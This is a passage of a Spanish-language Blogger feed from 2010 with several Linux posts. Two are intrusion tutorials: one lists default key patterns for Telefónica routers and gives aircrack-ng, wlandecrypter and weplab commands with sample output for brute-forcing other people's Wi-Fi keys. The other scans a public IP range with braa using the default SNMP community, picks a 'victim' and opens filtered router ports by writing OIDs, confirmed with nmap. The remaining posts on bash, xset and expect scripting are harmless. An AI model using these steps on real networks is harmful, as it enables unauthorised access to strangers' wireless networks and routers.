href='http://laguaridadelmal.blogspot.com/feeds/868739152104387077/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30617063&amp;postID=868739152104387077' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/868739152104387077'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/868739152104387077'/><link rel='alternate' type='text/html' href='http://laguaridadelmal.blogspot.com/2010/09/cambiar-colores-bash.html' title='Cambiar colores bash'/><author><name>Kr0m</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://bp3.blogger.com/_JhkD20t_wqQ/SCwATpnLuNI/AAAAAAAAACQ/sR30JjfP6XA/S220/ranavatar.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_JhkD20t_wqQ/TKOKsDh6YjI/AAAAAAAAAV0/4QeHvVzgDws/s72-c/zeros-chaos.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30617063.post-2936431013016673686</id><published>2010-09-19T13:54:00.007+02:00</published><updated>2010-09-19T14:20:43.596+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Seguridad'/><title type='text'>Crackear wifis Timofónica en 2 minutos</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_JhkD20t_wqQ/TJX-3xobznI/AAAAAAAAAVs/SrBf3XH_D74/s1600/wifi1.gif"&gt;&lt;img style="float:right; margin:0 0 10px 10px;cursor:pointer; cursor:hand;width: 184px; height: 200px;" src="http://2.bp.blogspot.com/_JhkD20t_wqQ/TJX-3xobznI/AAAAAAAAAVs/SrBf3XH_D74/s200/wifi1.gif" border="0" alt="" id="BLOGGER_PHOTO_ID_5518597152581602930" /&gt;&lt;/a&gt;Es sabido por todos que los routers ADSL de Telefónica vienen configurados con un ESSID determinado, por lo tanto es muy fácil localizar este tipo de redes.&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Según el modelo del router la password de la red inalámbrica será una u otra, las passwords siguen un patrón común si no se cambia la que viene configurada por defecto:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;Password: RaízXXXXYY&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Según el modelo tienen una "raíz de contraseña"&lt;/div&gt;&lt;div&gt;Z-com      -&gt; Z001349&lt;/div&gt;&lt;div&gt;Zyxel      -&gt; Z001349&lt;/div&gt;&lt;div&gt;P-660HW-D1 -&gt; Z001349&lt;/div&gt;&lt;div&gt;Xavy      -&gt; X000138&lt;/div&gt;&lt;div&gt;Comtrend   -&gt; C0030DA&lt;/div&gt;&lt;div&gt;Zygate     -&gt; Z0002CF o C0030DA&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Por la MAC del AP se puede saber el fabricante.&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Las dos últimas cifras YY son los dos últimos carácteres del ESSID --&gt; WLAN_YY&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Como veis solo faltan cuatro caracteres mas y tendremos la password completa.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;El ataque que vamos a realizar de esos caracteres será por fuerza bruta, para ello vamos a emplear una herramienta llamada  &lt;a href="http://code.google.com/p/wlandecrypter/downloads/detail?name=wlandecrypter-1.2.tar.gz&amp;amp;can=2&amp;amp;q="&gt;wlandecrypter&lt;/a&gt;.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;También nos será necesario el software weplab y la suite aircrack-ng&lt;/div&gt;&lt;div&gt;apt-get install weplab aircrack-ng&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Ahora que ya lo tenemos todo instalado comenzamos el proceso:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;airmon-ng start wlan0 --&gt; Pone en modo monitor la subinterfaz mon0&lt;/div&gt;&lt;div&gt;&lt;div&gt;airodump-ng mon0 --&gt; Miramos a ver que se ve por mon0&lt;/div&gt;&lt;/div&gt;&lt;div&gt;airodump-ng --write "captura_wlan" --channel "CANAL" --bssid "BSSID" mon0 --&gt; Capturamos el tráfico de la Wifi que nos interesa.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Cuando tengamos 4 o mas paquetes en el campo data podemos parar la captura presionando Ctrl+C&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Ahora es el momento de usar wlandecrypter.&lt;/div&gt;&lt;meta equiv="content-type" content="text/html; charset=utf-8"&gt;&lt;div&gt;wlandecrypter  "BSSID" "ESSID" | weplab --key 128 -y --bssid "BSSID" captura_wlan.cap&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Esto debería de sacarnos la password en ASCII y en Hexadecimal:&lt;/div&gt;&lt;div&gt;&lt;div&gt;Right KEY found!!&lt;/div&gt;&lt;div&gt;Passphrase was --&gt; C0030DAA46F05&lt;/div&gt;&lt;div&gt;Key: 43:30:30:33:30:44:41:41:34:36:46:30:35&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;En este caso se puede ver que se trata de un Comtrend:C0030 y el ESSID es WLAN_05: 05 por fuerza bruta hemos sacado los caracteres DAA46.&lt;/div&gt;&lt;meta equiv="content-type" content="text/html; charset=utf-8"&gt;&lt;meta equiv="content-type" content="text/html; charset=utf-8"&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;NOTA: Cambiad la password por defecto!!!&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30617063-2936431013016673686?l=laguaridadelmal.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://laguaridadelmal.blogspot.com/feeds/2936431013016673686/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30617063&amp;postID=2936431013016673686' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/2936431013016673686'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/2936431013016673686'/><link rel='alternate' type='text/html' href='http://laguaridadelmal.blogspot.com/2010/09/crackear-wifis-timofonica-en-2-minutos.html' title='Crackear wifis Timofónica en 2 minutos'/><author><name>Kr0m</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://bp3.blogger.com/_JhkD20t_wqQ/SCwATpnLuNI/AAAAAAAAACQ/sR30JjfP6XA/S220/ranavatar.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_JhkD20t_wqQ/TJX-3xobznI/AAAAAAAAAVs/SrBf3XH_D74/s72-c/wifi1.gif' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30617063.post-1946986288367843167</id><published>2010-09-16T19:32:00.005+02:00</published><updated>2010-09-16T19:55:37.785+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Seguridad'/><title type='text'>SNMP por defecto Prestige P-660HW-D1, P-660R-D1</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_JhkD20t_wqQ/TJJYYFZIf5I/AAAAAAAAAVk/ZanRs5qJk2M/s1600/globe_tech_keyboard_ars.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 200px; height: 113px;" src="http://1.bp.blogspot.com/_JhkD20t_wqQ/TJJYYFZIf5I/AAAAAAAAAVk/ZanRs5qJk2M/s200/globe_tech_keyboard_ars.jpg" alt="" id="BLOGGER_PHOTO_ID_5517569664269975442" border="0" /&gt;&lt;/a&gt;Hola amigos, en esta ocasión traigo material de primera ;), se trata de como modificar reglas de filtrado en los routers Zyxel Prestige P-660HW-D1, P-660R-D1 por &lt;a href="http://es.wikipedia.org/wiki/Simple_Network_Management_Protocol"&gt;SNMP&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Estos equipos vienen configurados con una community por defecto tanto para lectura como para escritura, de esta forma se puede llegar a configurar el dispositivo por SNMP de forma remota.&lt;br /&gt;&lt;br /&gt;Para empezar vamos a bajarnos y compilar la herramienta &lt;a href="http://s-tech.elsat.net.pl/braa/"&gt;braa&lt;/a&gt;, se trata de un scanner SNMP.&lt;br /&gt;&lt;br /&gt;wget http://s-tech.elsat.net.pl/braa/braa-0.82.tar.gz&lt;br /&gt;tar xvzf braa-0.82.tar.gz&lt;br /&gt;&lt;br /&gt;Si tenemos un sistema Linux basta con "make"&lt;br /&gt;make&lt;br /&gt;cp braa /usr/bin&lt;br /&gt;&lt;br /&gt;Ahora que ya tenemos braa en nuestro sistema, pedimos un OID a un rango de direcciones, este OID es para pedir el nombre del sistema a los equipos de Zyxel(cada fabricante emplea su propia &lt;a href="http://es.wikipedia.org/wiki/Management_Information_Base"&gt;MIB&lt;/a&gt;).&lt;br /&gt;&lt;br /&gt;braa public@88.18.11.1-88.18.11.254:161:.1.3.6.1.2.1.1.1.0&lt;br /&gt;&lt;br /&gt;Ahora solo falta seleccionar a la victima.&lt;br /&gt;&lt;br /&gt;Comprobamos que los puertos estan cerrados:&lt;br /&gt;nmap -p 80,21,23 88.22.xyz.100&lt;br /&gt;&lt;br /&gt;Starting Nmap 4.53 ( http://insecure.org ) at 2009-06-22 19:12 CEST&lt;br /&gt;Interesting ports on 100.Red-88-22-xyz.staticIP.rima-tde.net (88.22.xyz.100):&lt;br /&gt;PORT   STATE    SERVICE&lt;br /&gt;21/tcp filtered ftp&lt;br /&gt;23/tcp filtered telnet&lt;br /&gt;80/tcp filtered http&lt;br /&gt;&lt;br /&gt;Ahora los abrimos.&lt;br /&gt;&lt;br /&gt;Para los modelos P-660HW-D1:&lt;br /&gt;braa -v -t 5 -p 200 public@88.22.xyz.100:.1.3.6.1.4.1.890.1.2.1.5.2.1.8.10.4=i81 --&gt; Abrimos el puerto 80&lt;br /&gt;&lt;br /&gt;braa -v -t 5 -p 200 public@88.22.xyz.100:.1.3.6.1.4.1.890.1.2.1.5.2.1.8.10.5=i22 --&gt; Abrimos el puerto 21&lt;br /&gt;&lt;br /&gt;braa -v -t 5 -p 200 public@88.22.xyz.100:.1.3.6.1.4.1.890.1.2.1.5.2.1.8.10.5=i24 --&gt; Abrimos el puerto 23&lt;br /&gt;&lt;br /&gt;Se puede deducir que sigue la lógica de puerto+1, queremos abrir el puerto 80 --&gt; i"puerto+1" --&gt; i80+1 --&gt; i81&lt;br /&gt;&lt;br /&gt;Comprobamos que realmente estan abiertos:&lt;br /&gt;nmap -p 80,21,23 88.22.xyz.100&lt;br /&gt;&lt;br /&gt;Starting Nmap 4.53 ( http://insecure.org ) at 2009-06-22 19:09 CEST&lt;br /&gt;Interesting ports on 100.Red-88-22-xyz.staticIP.rima-tde.net (88.22.xyz.100):&lt;br /&gt;PORT   STATE SERVICE&lt;br /&gt;21/tcp open  ftp&lt;br /&gt;23/tcp open  telnet&lt;br /&gt;80/tcp open  http&lt;br /&gt;&lt;br /&gt;Para dejarlo como antes:&lt;br /&gt;braa -v -t 5 -p 200 public@88.22.xyz.100:.1.3.6.1.4.1.890.1.2.1.5.2.1.8.10.4=i80&lt;br /&gt;&lt;br /&gt;braa -v -t 5 -p 200 public@88.22.xyz.100:.1.3.6.1.4.1.890.1.2.1.5.2.1.8.10.5=i21&lt;br /&gt;&lt;br /&gt;braa -v -t 5 -p 200 public@88.22.xyz.100:.1.3.6.1.4.1.890.1.2.1.5.2.1.8.10.5=i23&lt;br /&gt;&lt;br /&gt;Comprobamos que vuelven a estar cerrados.&lt;br /&gt;&lt;br /&gt;nmap -p 80,21,23 88.22.xyz.100&lt;br /&gt;&lt;br /&gt;Starting Nmap 4.53 ( http://insecure.org ) at 2009-06-22 19:12 CEST&lt;br /&gt;Interesting ports on 100.Red-88-22-xyz.staticIP.rima-tde.net (88.22.xyz.100):&lt;br /&gt;PORT   STATE    SERVICE&lt;br /&gt;21/tcp filtered ftp&lt;br /&gt;23/tcp filtered telnet&lt;br /&gt;80/tcp filtered http&lt;br /&gt;&lt;br /&gt;Ya veis parece increible pero puedo dar fe de que funciona ;)&lt;br /&gt;&lt;br /&gt;En el modelo P-660R-D1&lt;br /&gt;&lt;br /&gt;braa -v -t 5 -p 200 public@88.22.xyz.244:.1.3.6.1.4.1.890.1.2.1.5.2.1.8.10.4=i81&lt;br /&gt;braa -v -t 5 -p 200 public@88.22.xyz.244:.1.3.6.1.4.1.890.1.2.1.5.2.1.8.10.5=i22&lt;br /&gt;braa -v -t 5 -p 200 public@88.22.xyz.244:.1.3.6.1.4.1.890.1.2.1.5.2.1.8.10.6=i24&lt;br /&gt;&lt;br /&gt;braa -v -t 5 -p 200 public@88.22.xyz.244:.1.3.6.1.4.1.890.1.2.1.5.2.1.8.10.4=i80&lt;br /&gt;braa -v -t 5 -p 200 public@88.22.xyz.244:.1.3.6.1.4.1.890.1.2.1.5.2.1.8.10.5=i21&lt;br /&gt;braa -v -t 5 -p 200 public@88.22.xyz.244:.1.3.6.1.4.1.890.1.2.1.5.2.1.8.10.6=i23&lt;br /&gt;&lt;br /&gt;Para remediar toda esta historia habrá que configurar SNMP con alguna community menos conocida, jejeje&lt;br /&gt;&lt;br /&gt;La gente no suele cambiar la password por defecto de los routers caseros ya que deshabilitan el acceso en la interfaz WAN, pero de este modo BANG!! estamos dentro.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30617063-1946986288367843167?l=laguaridadelmal.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://laguaridadelmal.blogspot.com/feeds/1946986288367843167/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30617063&amp;postID=1946986288367843167' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/1946986288367843167'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/1946986288367843167'/><link rel='alternate' type='text/html' href='http://laguaridadelmal.blogspot.com/2010/09/snmp-por-defecto-prestige-p-660hw-d1-p.html' title='SNMP por defecto Prestige P-660HW-D1, P-660R-D1'/><author><name>Kr0m</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://bp3.blogger.com/_JhkD20t_wqQ/SCwATpnLuNI/AAAAAAAAACQ/sR30JjfP6XA/S220/ranavatar.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_JhkD20t_wqQ/TJJYYFZIf5I/AAAAAAAAAVk/ZanRs5qJk2M/s72-c/globe_tech_keyboard_ars.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30617063.post-4101543671874709317</id><published>2010-09-13T22:16:00.009+02:00</published><updated>2010-09-13T22:45:19.332+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Multimedia'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><title type='text'>Apagar monitor desde la linea de comandos</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_JhkD20t_wqQ/TI6MxLuqGhI/AAAAAAAAAVc/h9md_gEJCCY/s1600/twinkletux-garage-realclose-cropped.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 122px; height: 143px;" src="http://3.bp.blogspot.com/_JhkD20t_wqQ/TI6MxLuqGhI/AAAAAAAAAVc/h9md_gEJCCY/s200/twinkletux-garage-realclose-cropped.jpg" alt="" id="BLOGGER_PHOTO_ID_5516501370165402130" border="0" /&gt;&lt;/a&gt;&lt;span class="Apple-style-span" style=""&gt;&lt;span class="Apple-style-span" style="font-size:medium;"&gt;&lt;span class="Apple-style-span"&gt;&lt;span class="Apple-style-span"&gt;Cuando pasa algún tiempo mi portátil deja la pantalla en negro que no es lo mismo que apagada. Esto se puede remediar apagando de verdad la pantalla ahorrando algo de batería, estos son los comandos.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;ul&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="line-height: 16px; white-space: nowrap;font-family:arial;font-size:medium;"&gt;xset dpms force off --&gt; Apaga el monitor&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="line-height: 16px; white-space: nowrap;font-family:arial;font-size:medium;"&gt;xset dpms force on --&gt; Enciende el monitor&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="line-height: 16px; white-space: nowrap;font-family:arial;font-size:medium;"&gt;xset dpms force standby --&gt; Pone en standby el monitor&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="line-height: 16px; white-space: nowrap;font-family:arial;font-size:medium;"&gt;xset dpms force suspend --&gt; Suspende el monitor&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;span class="Apple-style-span" style="line-height: 16px; white-space: nowrap;font-family:arial;font-size:medium;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="line-height: 16px; white-space: nowrap;font-size:medium;"&gt;La verdad es que apagarlo, suspenderlo y ponerlo&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="line-height: 16px; white-space: nowrap;font-size:medium;"&gt; en standby&lt;/span&gt;&lt;span class="Apple-style-span" style="font-size:medium;"&gt; &lt;/span&gt;&lt;span class="Apple-style-span" style="line-height: 16px; white-space: nowrap;"&gt;&lt;span class="Apple-style-span" style="font-size:medium;"&gt;&lt;span class="Apple-style-span"&gt;aparentemente hace &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="line-height: 16px; white-space: nowrap;font-size:medium;"&gt;&lt;span class="Apple-style-span"&gt;lo mismo.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30617063-4101543671874709317?l=laguaridadelmal.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://laguaridadelmal.blogspot.com/feeds/4101543671874709317/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30617063&amp;postID=4101543671874709317' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/4101543671874709317'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/4101543671874709317'/><link rel='alternate' type='text/html' href='http://laguaridadelmal.blogspot.com/2010/09/apagar-monitor-desde-la-linea-de.html' title='Apagar monitor desde la linea de comandos'/><author><name>Kr0m</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://bp3.blogger.com/_JhkD20t_wqQ/SCwATpnLuNI/AAAAAAAAACQ/sR30JjfP6XA/S220/ranavatar.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_JhkD20t_wqQ/TI6MxLuqGhI/AAAAAAAAAVc/h9md_gEJCCY/s72-c/twinkletux-garage-realclose-cropped.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30617063.post-4053307578948672443</id><published>2010-09-06T21:57:00.003+02:00</published><updated>2010-09-06T22:06:11.085+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><title type='text'>Usuario Linux.</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_JhkD20t_wqQ/TIVJSMyF1oI/AAAAAAAAAVE/goItojzaL-M/s1600/521982.png"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 190px; height: 110px;" src="http://1.bp.blogspot.com/_JhkD20t_wqQ/TIVJSMyF1oI/AAAAAAAAAVE/goItojzaL-M/s200/521982.png" alt="" id="BLOGGER_PHOTO_ID_5513893895802836610" border="0" /&gt;&lt;/a&gt;Dejo aquí el &lt;a href="http://counter.li.org/"&gt;enlace&lt;/a&gt; de una página web en la que nos podremos registrar como usuario Linux, de esta forma se pueden realizar estadisticas para saber cuantos usuarios hay, que distribuciones se usan o que kernel emplean.&lt;br /&gt;&lt;br /&gt;Bastante interesante ;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30617063-4053307578948672443?l=laguaridadelmal.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://laguaridadelmal.blogspot.com/feeds/4053307578948672443/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30617063&amp;postID=4053307578948672443' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/4053307578948672443'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/4053307578948672443'/><link rel='alternate' type='text/html' href='http://laguaridadelmal.blogspot.com/2010/09/usuario-linux.html' title='Usuario Linux.'/><author><name>Kr0m</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://bp3.blogger.com/_JhkD20t_wqQ/SCwATpnLuNI/AAAAAAAAACQ/sR30JjfP6XA/S220/ranavatar.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_JhkD20t_wqQ/TIVJSMyF1oI/AAAAAAAAAVE/goItojzaL-M/s72-c/521982.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30617063.post-6464671538033209595</id><published>2010-08-23T18:01:00.003+02:00</published><updated>2010-08-23T18:09:03.944+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Administración'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Seguridad'/><title type='text'>Ocultar password en scripts Bash</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_JhkD20t_wqQ/THKcbnxfOWI/AAAAAAAAAUs/gmo98RajKsE/s1600/3238029478_aa1df44c98.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 153px; height: 117px;" src="http://2.bp.blogspot.com/_JhkD20t_wqQ/THKcbnxfOWI/AAAAAAAAAUs/gmo98RajKsE/s200/3238029478_aa1df44c98.jpg" alt="" id="BLOGGER_PHOTO_ID_5508637292574488930" border="0" /&gt;&lt;/a&gt;Ya que me he puesto con el tema de scripting voy a comentar un truquillo que seguro que le va a gustar a mas de uno.&lt;br /&gt;Se trata de como deshabilitar el echo de nuestro terminal para poder introducir passwords sin que aparezcan en pantalla.&lt;br /&gt;&lt;br /&gt;Es tan sencillo como:&lt;br /&gt;#!/bin/bash&lt;br /&gt;stty_save=$(stty -g) ---&gt; Guardamos el estado de nuestro terminal&lt;br /&gt;stty -echo  --&gt; Deshabilitamos el echo&lt;br /&gt;echo Introduzca Password:&lt;br /&gt;read secret&lt;br /&gt;stty $stty_save  --&gt; Reestaablecemos la configuración inicial&lt;br /&gt;echo Password introducido:&lt;br /&gt;echo $secret&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30617063-6464671538033209595?l=laguaridadelmal.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://laguaridadelmal.blogspot.com/feeds/6464671538033209595/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30617063&amp;postID=6464671538033209595' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/6464671538033209595'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/6464671538033209595'/><link rel='alternate' type='text/html' href='http://laguaridadelmal.blogspot.com/2010/08/ocultar-password-en-scripts-bash.html' title='Ocultar password en scripts Bash'/><author><name>Kr0m</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://bp3.blogger.com/_JhkD20t_wqQ/SCwATpnLuNI/AAAAAAAAACQ/sR30JjfP6XA/S220/ranavatar.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_JhkD20t_wqQ/THKcbnxfOWI/AAAAAAAAAUs/gmo98RajKsE/s72-c/3238029478_aa1df44c98.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30617063.post-1503212100014528529</id><published>2010-08-23T17:42:00.005+02:00</published><updated>2010-08-23T18:10:36.568+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Administración'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><title type='text'>Scripting Interactivo</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_JhkD20t_wqQ/THKabqj0_hI/AAAAAAAAAUk/NpqEK-lx3PI/s1600/4801.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 110px; height: 110px;" src="http://3.bp.blogspot.com/_JhkD20t_wqQ/THKabqj0_hI/AAAAAAAAAUk/NpqEK-lx3PI/s200/4801.jpg" alt="" id="BLOGGER_PHOTO_ID_5508635094299246098" border="0" /&gt;&lt;/a&gt;Seguro que alguna vez habeis tenido que programar algún script que precisaba de interacción humana porque pedía usuario y password y no había forma de pasarle estos parámetros al invocar el programa.&lt;br /&gt;&lt;br /&gt;Para esta problemática se inventó expect, gracias a expect podremos esperar respuesta por parte del comando ejecutado y responder en consecuencia.&lt;br /&gt;&lt;br /&gt;Lo mejor de todo es que podemos empotrar código expect dentro de nuestros scripts en bash.&lt;br /&gt;&lt;br /&gt;Voy a poner un ejemplo en el que se realiza una conexión por telnet y reinicia el router:&lt;br /&gt;&lt;br /&gt;#!/bin/bash&lt;br /&gt;&lt;br /&gt;/usr/bin/expect -- &lt;&lt; EOF&lt;br /&gt;    spawn telnet 192.168.1.1&lt;br /&gt;    expect "Trying 192.168.1.1..."&lt;br /&gt;    expect "Connected to 192.168.1.1."&lt;br /&gt;    expect "Escape character is '^]'."&lt;br /&gt;    expect "BCM96348 ADSL Router"&lt;br /&gt;    expect "Login:"&lt;br /&gt;    send "1234\r"&lt;br /&gt;    expect "Password:"&lt;br /&gt;    send "1234\r"&lt;br /&gt;    expect "&gt;"&lt;br /&gt;    send "reboot"&lt;br /&gt;    send "\r"&lt;br /&gt;    expect "The system shell is being reset. Please wait..."&lt;br /&gt;EOF&lt;br /&gt;&lt;br /&gt;Así de fácil ;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30617063-1503212100014528529?l=laguaridadelmal.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://laguaridadelmal.blogspot.com/feeds/1503212100014528529/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30617063&amp;postID=1503212100014528529' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/1503212100014528529'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/1503212100014528529'/><link rel='alternate' type='text/html' href='http://laguaridadelmal.blogspot.com/2010/08/scripting-interactivo.html' title='Scripting Interactivo'/><author><name>Kr0m</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://bp3.blogger.com/_JhkD20t_wqQ/SCwATpnLuNI/AAAAAAAAACQ/sR30JjfP6XA/S220/ranavatar.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_JhkD20t_wqQ/THKabqj0_hI/AAAAAAAAAUk/NpqEK-lx3PI/s72-c/4801.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30617063.post-7691084412680188288</id><published>2010-07-25T09:46:00.004+02:00</published><updated>2010-08-23T18:07:06.057+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Administración'/><category scheme='http://www.blogger.com/atom/ns#' term='Multimedia'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><title type='text'>Compilación de Asterisk-RSP</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" 